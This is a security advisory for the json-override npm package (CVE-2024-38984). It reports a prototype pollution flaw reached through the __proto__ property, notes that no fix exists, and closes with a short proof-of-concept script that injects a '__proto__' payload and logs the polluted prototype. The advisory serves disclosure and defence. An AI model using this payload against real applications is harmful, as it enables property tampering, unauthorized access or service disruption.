Improper Control of Dynamically-Managed Code Resources Affecting json-override package, versions *
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.11% (44th
percentile)
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Test your applications- Snyk ID SNYK-JS-JSONOVERRIDE-7575312
- published 31 Jul 2024
- disclosed 30 Jul 2024
- credit mestrtee
Introduced: 30 Jul 2024
CVE-2024-38984 Open this link in a new tabHow to fix?
There is no fixed version for json-override.
Overview
json-override is an Override properties of one JS object with those of another.
Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources through the __proto__ property. An attacker can manipulate the object prototype, leading to potential unauthorized access or service disruption by modifying object properties.
PoC
(async () => {
const lib = await import('json-override');
var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
lib.default ({}, BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();